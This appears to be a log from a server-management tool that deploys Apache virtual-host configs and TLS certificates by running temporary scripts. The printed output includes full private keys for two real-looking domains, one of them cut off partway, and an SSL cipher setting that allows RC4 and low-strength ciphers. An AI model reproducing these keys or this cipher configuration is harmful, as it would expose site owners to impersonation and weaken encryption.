            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/hostz/repo_access.log combined
    ErrorLog	/var/log/httpd/hostz/repo_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	repo.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/pki/tls/certs//39a67d98dbcb59994bb5bd629687cb8e.crt
    DocumentRoot	/var/www/hostz_repo
    <Directory /var/www/hostz_repo>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/hostz/repo_secure_access.log combined
    ErrorLog	/var/log/httpd/hostz/repo_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/httpd/conf.d/hostz_repo_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/httpd/sites-enabled/hostz_repo_org.conf)= /etc/httpd//etc/httpd/conf.d/hostz_repo_org.conf'
	echo 'file(/etc/httpd//etc/httpd/conf.d/hostz_repo_org.conf= 1'
fi


2026-07-02 22:59:36: 

chmod 755 /tmp/pkp389822; /tmp/pkp389822; rm /tmp/pkp389822

2026-07-02 22:59:36: 




2026-07-02 22:59:36: 

PUT: /tmp/pkp185034

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-07-02 22:59:37: 

chmod 755 /tmp/pkp185034; /tmp/pkp185034; rm /tmp/pkp185034

2026-07-02 22:59:37: 


.


2026-07-02 22:59:37: Establishing a connection
2026-07-02 22:59:38: 

PUT: /tmp/pkp264670

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-07-02 22:59:39: 

chmod 755 /tmp/pkp264670; /tmp/pkp264670; rm /tmp/pkp264670

2026-07-02 22:59:40: 


[Thu Jul 02 22:59:39.928970 2026] [so:warn] [pid 757761:tid 140501334706496] AH01574: module status_module is already loaded, skipping
VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:1)
         port 80 namevhost messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:1)
         port 80 namevhost repo.hostz.org (/etc/httpd/conf.d/hostz_repo_org.conf:2)
         port 80 namevhost voip.patientapps.net (/etc/httpd/conf.d/patientapps.conf:1)
         port 80 namevhost zoomchat.net (/etc/httpd/conf.d/zoomchat_www_net.conf:2)
         port 80 namevhost zoomchat.online (/etc/httpd/conf.d/zoomchat_www_online.conf:2)
                 alias www.zoomchat.online
*:443                  is a NameVirtualHost
         default server messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:26)
         port 443 namevhost messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:26)
         port 443 namevhost repo.hostz.org (/etc/httpd/conf.d/hostz_repo_org.conf:29)
         port 443 namevhost messier.pjy.us (/etc/httpd/conf.d/ssl.conf:40)
         port 443 namevhost zoomchat.net (/etc/httpd/conf.d/zoomchat_www_net.conf:31)
         port 443 namevhost zoomchat.online (/etc/httpd/conf.d/zoomchat_www_online.conf:30)
                 alias www.zoomchat.online
ServerRoot: "/etc/httpd"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/etc/httpd/logs/error_log"
Mutex cache-socache: using_defaults
Mutex authdigest-opaque: using_defaults
Mutex watchdog-callback: using_defaults
Mutex proxy-balancer-shm: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex authdigest-client: using_defaults
Mutex lua-ivm-shm: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex authn-socache: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/etc/httpd/run/" mechanism=default 
PidFile: "/etc/httpd/run/httpd.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="asterisk" id=1000
Group: name="asterisk" id=1000
.




STDERR:
[Thu Jul 02 22:59:39.928970 2026] [so:warn] [pid 757761:tid 140501334706496] AH01574: module status_module is already loaded, skipping


2026-07-02 22:59:40: 

PUT: /tmp/pkp335064

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/httpd/conf.d/hostz_repo_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-07-02 22:59:40: 

chmod 755 /tmp/pkp335064; /tmp/pkp335064; rm /tmp/pkp335064

2026-07-02 22:59:40: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/httpd/conf.d/hostz_repo_org.conf	1840

<VirtualHost *:80>
    ServerName	repo.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_repo
    <Directory /var/www/hostz_repo>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/hostz/repo_access.log combined
    ErrorLog	/var/log/httpd/hostz/repo_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	repo.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/pki/tls/certs//39a67d98dbcb59994bb5bd629687cb8e.crt
    DocumentRoot	/var/www/hostz_repo
    <Directory /var/www/hostz_repo>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/hostz/repo_secure_access.log combined
    ErrorLog	/var/log/httpd/hostz/repo_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-07-02 22:59:40: 

PUT: /tmp/pkp312597

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/pki/tls/certs//39a67d98dbcb59994bb5bd629687cb8e.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-07-02 22:59:41: 

chmod 755 /tmp/pkp312597; /tmp/pkp312597; rm /tmp/pkp312597

2026-07-02 22:59:41: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/pki/tls/certs//39a67d98dbcb59994bb5bd629687cb8e.crt	7412
a9:68:f8:69:16:b1:29:c6:08:75:f4:69:b7:97:71:3d

-----BEGIN CERTIFICATE-----
MIIE9jCCA96gAwIBAgISBffDlwTAJYQER0tZugyxotvgMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNzAyMjIwMDU5WhcNMjYwOTMwMjIwMDU4WjAZMRcwFQYDVQQD
Ew5yZXBvLmhvc3R6Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AMiEsk5SWwNG+l6oYcW3C5iSFjjpEqC5z5UML38yw8CFuXhrzq+ZCFDjYJq4/Kd2
m5JGuTXmXMbio4CidadRSgvDPunWF8EIy5LtNI7ctkFHrnk8mU5JuocRbqi95N0N
8EbIcllUfPJVB8shO9DEpqEPqh3dv8RFRG8SZvCKYtdI+PmfIwrMbR7dDsm5x360
BsqpOm/p5XiE/osBZrvE7DaN+OmdEbfSIiJIW12vCk1RlUsqAC10kHW8k4dQ1E8u
Caph1+Z+dtEN8gvRLIQvtOTHWlekEGv9V1V3BJGzO8e7akWNDPxa4knV5CJPZNM3
QSq8JUYKhWsmT6ZaBScCZTkCAwEAAaOCAhwwggIYMA4GA1UdDwEB/wQEAwIFoDAT
BgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBTV/rlg
5Q+C1imiPb9Cuv6/XCvEMzAfBgNVHSMEGDAWgBQfLzW+RhSCzUCxrnksVXj699Ro
+zAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly95cjEuaS5sZW5j
ci5vcmcvMBkGA1UdEQQSMBCCDnJlcG8uaG9zdHoub3JnMBMGA1UdIAQMMAowCAYG
Z4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly95cjEuYy5sZW5jci5vcmcv
OTcuY3JsMIIBDAYKKwYBBAHWeQIEAgSB/QSB+gD4AHYAyzj3FYl8hKFEX1vB3fvJ
bvKaWc1HCmkFhbDLFMMUWOcAAAGfJQ8FLgAABAMARzBFAiEAg3pMGpFmUABfFBbF
Ge3zadiNPcWpVWjqGM4PywHONBMCIBO6UMoKXU0Aww1HNzZ/GBzndTn60h9Tnczm
J5R+uW5YAH4AbP5QGUOoXqkWvFLRM+TcyR7xQRx9JYQg0XOAnhgY6zoAAAGfJQ8F
0wAIAAAFABM1LhwEAwBHMEUCIQDSErdSHBK7dAvUpbxToXuSFl6Cf13OnyiyI9J7
KQfFBQIgUEsM73Yu60F1PeF+EXdLu3N6biPgbNAIDVAsb/cmA5IwDQYJKoZIhvcN
AQELBQADggEBAHqVJYMNoV3a4ebRSLzzZ6R/u9MgD7ZoVD2IE/Teyl+Oxg725/HN
vTz7I8zDqa0IVIG2POS5U2hAd65/lCoZtRI5CQ+j/586geW+V8E8JS6LtrV8ZNDY
1tjY4T18CbyvxjEa1dsEudFsYB+/aUBwZEO7uPTtWATHxrQB2YTKCNFOpteWNMvE
cUAvmFVA8KZgDdohZrEjnAnlXKzm5XGA5NGlRmjaqpv7sv3CAyx3XHYsy+8JaNJs
/C1enWlH0/sSL4cUPgMsrLvSLBhXeqXgYV4GdXUqtuJcREOu3tXxJ0aj7rGomnJX
yfmQHU/6dxD4tE3nSETw25LQf4flfk50Ljw=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDIhLJOUlsDRvpe
qGHFtwuYkhY46RKguc+VDC9/MsPAhbl4a86vmQhQ42CauPyndpuSRrk15lzG4qOA
onWnUUoLwz7p1hfBCMuS7TSO3LZBR655PJlOSbqHEW6oveTdDfBGyHJZVHzyVQfL
ITvQxKahD6od3b/ERURvEmbwimLXSPj5nyMKzG0e3Q7Jucd+tAbKqTpv6eV4hP6L
AWa7xOw2jfjpnRG30iIiSFtdrwpNUZVLKgAtdJB1vJOHUNRPLgmqYdfmfnbRDfIL
0SyEL7Tkx1pXpBBr/VdVdwSRszvHu2pFjQz8WuJJ1eQiT2TTN0EqvCVGCoVrJk+m
WgUnAmU5AgMBAAECggEAEWiR2WJlg+qS3Ip2WJW8dD3En6K+iwUuvDQvYHXuEEYb
1NRZQJ4C3pDrB2vFhZ1ywreQp1kNV3gANXAFUmYojU5hZShA7jGfCO2+mSOY0CCS
yXRFJAqbHtRY3N4Fo1ptMJwA73f6FAjlURGc0ZJtHAER5h9lIXtZBmKc3MfK7oE/
/IHEFEdkquqkt+PPnH0+EUs3EJr6uCWUAIhxr07ziqb8ZlaSozYj32Yxpsont5oS
Ayyh5AjjeszO48gUA0Q0opwwtnA9ZESP7GM20z/rTMqjKr2pEOJvphGU5wFEyVgo
Zbc5V5B1dLQM9P4umFhNrrjBAvKkpqkIGYIWU+99YQKBgQD/DBaRZwqlSsCZdU+Z
/H560EB39PBPjdVtqLVcGcSOI0MEgfJ8qAxUh0/uAZD9LqiS0yg3zXVFc019Y/Us
MK603mSLwfvklfdQL1IoTn0wkYOPINfRyPurd9LuBmN2LPinsKrRMcU8IRYf+PMy
ljOPQhNt0Yxbep29CxzWd6ZNkQKBgQDJRHXQahaSmVMnGKmYekkjhlvrpV4nPTOA
dNqArv+TWpgxxbbvGkngem0UvDhk+trsqJfVArPZm2AVfjCBmce37NTBWvcWtoG9
v4Osx0MFg4L3UvipYY12tMP6cSmxzWz1XLFp0VHsEkCQNCb6AcNR2ORMsxrqaCPA
9XbkvNfpKQKBgQCfjclkhyjSxRP+LLRyqdHaNQPPx4y6yAk4A+4JQxmCri6T2FOB
hoPIMapgQ9yXdyQATlb/qenuW7ajdfAACCiTf/k4sU9K7kJ8iE4GZyvMQYwi8zHw
zKIc3+Y2AAsi9/lKtqv2GQPBnRVBRTWndO2mdni/H/OFmwypIhWVWd7Q8QKBgBM2
ZcivV9hGqplg0U+s3K53dO7ZqlM0lGX+wZznF56JV13o8b2BVOwIw8Dm9rss9xkA
Pv4mc+Sh4Fos4ZR9iYMVKHoMpOmWImxqi7dCjjNIiofxc6s3lLlwKAUQKFrAsVX6
szTWtmtCkscxM0dKQ8rcWW646ijWKBOTWvYa0MGBAoGAdSprkbXW3wXTb/sWoLv2
N2Fe13v4Kgn7Sv0YByQxgJmeuegV56UW4DHOlrkQtBoqM+90SfBerv+jAXYYQuMb
BN5RyIj/B2Wmnaz1yzOQATIvpjDM86sTBCF7G4tgiZj4gUg65dFoSJhHX3wpPC9b
jNls5HvPNZHmx4/EjAEKpBY=
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2zCCAsOgAwIBAgIRAKICU/FfJpHAXcHOE7m8yk4wDQYJKoZIhvcNAQELBQAw
LjELMAkGA1UEBhMCVVMxDTALBgNVBAoTBElTUkcxEDAOBgNVBAMTB1Jvb3QgWVIw
HhcNMjUwOTAzMDAwMDAwWhcNMjgwOTAyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEW
MBQGA1UEChMNTGV0J3MgRW5jcnlwdDEMMAoGA1UEAxMDWVIxMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoVi8X2xCYgMXvJxNPKp/oF13UMgmPABB07VC
LNDtoXmt9luEZNJSBV10VyT1Pz6LD8Zq1d2gc43WNl1AdRrj4sEnazbOiz0nPpmG
Bp2hui49oZtDIY6wdKeZAi5BbNU20CH6RSBBMLSQ9cXrH8dxdv4PAJ45ssGML68U
SE3BsjC2a6cAN9L5CgXVIQi5tfNiTPoFZZ3S0OlXqLmmtdV95udWAb5b6e/F49Di
CsH0Y00Ag72BVIb1hzynmKe+X0mERBTtsb3BwmpV9ipeBjMLoR/D9cHxHQCWoi5l
TmXwY015J5rGelz1nZjJuxc2kioaX29XJBnhMkP531rSdG5uMwIDAQABo4HuMIHr
MA4GA1UdDwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDATASBgNVHRMBAf8E
CDAGAQH/AgEAMB0GA1UdDgQWBBQfLzW+RhSCzUCxrnksVXj699Ro+zAfBgNVHSME
GDAWgBTe51tg0CJtQCh9Pw0B/qS1UrRRlDAyBggrBgEFBQcBAQQmMCQwIgYIKwYB
BQUHMAKGFmh0dHA6Ly95ci5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwB
AgEwJwYDVR0fBCAwHjAcoBqgGIYWaHR0cDovL3lyLmMubGVuY3Iub3JnLzANBgkq
hkiG9w0BAQsFAAOCAgEA0+zvMq3kHig1ddTmmm+RibTr9/RpX7k4buanMMRqbV/y
IvP82zAHN3mvaw+cASuVsdpd0ikjhr4hnhJQLQOzOp2ccKrsdGOAgo0vddeISFAq
EWEV4lmUM3vFF796up+bSgmJ1u6RupDCMxDgF8M3eLvGuj6L0lu3zkQ0KuQLnKxL
tB0oQqn1Idg5CuuGpMvQzk29Pa3D/qHurc0EIM9SxukQuJqq63lxsYyRQFU8yMBO
hq1w5LbfaWNRrz1uklOfI/pYkAb2E2MTZrAMQkBIE2S8Jt1F8gRc96o/xOsrgvSk
a84AisX6xq1lz1Z7jGvrnXc4TMcjxZTjiTaihcYI1JIXZiLtEMSCa5l3cu8YWd6z
dLRQlqRdclVjuQfNHawRJ6GWlkK0QJosivTKwdBw3KxEtzGo8yMHERbsy57gP1UX
HOMcmZYQC0gtyR3SxfenIM/MxC3Ia2Ypab/kQ/CTnlIn2KQ5JUC6NYrGCbhFN9bp
5lKJStEwCUnLpntcrXk5XVDCNv/5RyWpRThkGOV7GetKkQ0qAY8hCzWK6oqnAhDZ
cjlYVdWfqOw3DIOX6EDNBgAqHarRVxyF9QZdOaXSyPJ0ueD2BYJEBgaCGQ8rAaU/
Qc123V5LTXDZW4CcsPBDyhy4v+c8hClAyw/IkJlfBqxB9D+/wvIMHgECZ4ptP6o=
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----






2026-07-03 06:00:02: Establishing a connection
2026-07-03 06:00:02: Establishing a connection
2026-07-03 06:00:02: 

PUT: /tmp/pkp334736

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_vote/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-07-03 06:00:04: 

chmod 755 /tmp/pkp334736; /tmp/pkp334736; rm /tmp/pkp334736

2026-07-03 06:00:04: 


0


2026-07-03 06:00:39: Establishing a connection
2026-07-03 06:00:39: 

PUT: /tmp/pkp451656

#!/bin/bash
temp_file=$(mktemp)
TARGET=277b862c622fb9fa5d441c9959ff5ee3.crt

cat > $temp_file <<'endmsg'
09:05:93:c8:2e:3e:a0:fc:26:5c:cc:65:a1:ba:83:07

-----BEGIN CERTIFICATE-----
MIIFDDCCA/SgAwIBAgISBeMTRomkTS2eNO3Y8QKj5MbZMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNzAzMDUwMjA4WhcNMjYxMDAxMDUwMjA3WjAjMSEwHwYDVQQD
Exh2b3RlLmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQCg+zs04um2QXoAm+EoZ7zrAM4ISRoMCFrC/cidsh51jgYVZ+RA
TsZteNo8j9sOBhJKoiDrcw+nlAwKrEYw6dvvkdvJf+d0L8bvlioCYF7pxQuCNv6D
/8tLAbZLJB7aH2FSpxlR59GSSWquJGIetWe+mImBLXInJqBkY7FD3m6G4Op+Vnau
C/yX+e2pSk+AaVLM3Py6WLxyhaT8B78PvJ98AhUChbSwQfVIQ8qkwyFHZwToZUc3
V66VIJpZTJ3DEI/U3mrOyQrdghH0ZfGd8Y8u/BU2an6HZi3jKfS9H5J3gI6ruJCC
8F1KYU2vqDQmsngEy+18T0h7llqjGO/5GIdZAgMBAAGjggIoMIICJDAOBgNVHQ8B
Af8EBAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUFnICmDH9BbyjOkz/Us9gL9cbqBQwHwYDVR0jBBgwFoAUHy81vkYUgs1A
sa55LFV4+vfUaPswMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
eXIxLmkubGVuY3Iub3JnLzAjBgNVHREEHDAaghh2b3RlLmhvcGVpbnN0b3VnaHRv
bi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3lyMS5jLmxlbmNyLm9yZy85MC5jcmwwggEOBgorBgEEAdZ5AgQCBIH/BIH8
APoAdwDYCVU7lE96/8gWGW+UT4WrsPj8XodVJg8V0S5yu0VLFAAAAZ8mkJj4AAAE
AwBIMEYCIQCx045NaO/0mPQWbJwv+rqIpt7IA3bqHMv/JhkPiLfkZAIhAJCfKwdr
cP7w04aujrJOqPs/7oqiBxjc6Mhtwfu48QfNAH8AqCbL4wrGNRJGUz/gZfFPGdlu
GQgTxB3ZbXkAsxI8VScAAAGfJpCcdwAIAAAFABItJyYEAwBIMEYCIQDhjSsv6LwR
5JjO8N2fEbN8wtFTTrI2Uf+nu9Vz4yTP4QIhAMTVwVFbxZBHnx+aKYayWjmD0i3d
GpnJAvvfbrwNYscmMA0GCSqGSIb3DQEBCwUAA4IBAQAKW3uveps6Thw8J9G+9ibJ
KEKCrfZX8AMMvy7SUHTc8Xn77PrGPra9reulOXDqqnvlyKbF8DQYQpdhOHpGBTS+
x57ScOnhnK1O8OLcvqkae6ZETm2QXS7C0i6vWlPs2Gto+MH9Y3fyhjtE7hqVf5f+
6Ozrv9/94BTzRHxOjeh6uSouxmGJi8jpXuNAYZlaOZ5weyRzHX7MimvLVB2jGz8/
eG0M8hEra7LrRXzUJWXzMFNEo0CerZroXvMoXJGZpyPL9kM8IzuY9xTPxtg+ahiS
AhopS6C1bDdV9wKHleojBGU0qD7oUyR9emILb8pUw1u4UQEV5QrbHuSSwN4+5MHJ
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCg+zs04um2QXoA
m+EoZ7zrAM4ISRoMCFrC/cidsh51jgYVZ+RATsZteNo8j9sOBhJKoiDrcw+nlAwK
rEYw6dvvkdvJf+d0L8bvlioCYF7pxQuCNv6D/8tLAbZLJB7aH2FSpxlR59GSSWqu
JGIetWe+mImBLXInJqBkY7FD3m6G4Op+VnauC/yX+e2pSk+AaVLM3Py6WLxyhaT8
B78PvJ98AhUChbSwQfVIQ8qkwyFHZwToZUc3V66VIJpZTJ3DEI/U3mrOyQrdghH0
ZfGd8Y8u/BU2an6HZi3jKfS9H5J3gI6ruJCC8F1KYU2vqDQmsngEy+18T0h7llqj
GO/5GIdZAgMBAAECggEAM3bNwUUPsVfyYHJ1A11SvJBXzbdND+610WOfuKZibXN3
h21cv6BPeFzr6/OTdMLFIz38pzj0Fr9SMDFOCUIiMU8ghCUTQgYqI5sOmA7mGPcJ
DFp3eIyUmciU1iXYhSQGEY3hHtmtGobFB6ITCj01Su3p+7WjKlgDa8ShPZDFJfIM
VEkhXhCzGEkWCq/gVLnVlzRXIwPqXBiXZbz6BfFDDJrSYJOAFciGQRyhHgrsWFFg
Rno/bkweFkuuH4Wk6qLmMdUFmGH0283ZNrWTUmmsxqE5tCfZiCZSkdSGv2QOS2hV
lU/FcGfHQZNV2tNbd0pLCH/MAEsxg3FEfH3J4afyhwKBgQDcuIeREWhphLxzOxo8
e9O6xJWfV9Zcq/EKPMXidwKeDFywJ8OwT5oJsQv+0znzTR+qtYmjeTUeIpdMEV1+
KDByGq2XZIc9HOHN0tyO0h4oMnZGv/powPLjsN/ynFJ3YDtdW+Jvu0/92enSmkAj
6lauwPY5rrDu6o2X0IRilx+7JwKBgQC6tkdaYjCkvMppKX06oTIJxpRmRQGwN6QD
KG5lScKA+ftKpxxnJmh312E2+W99vQSAsgk12nOFR9Qok+aKYwg7bypQbPsuzWd9
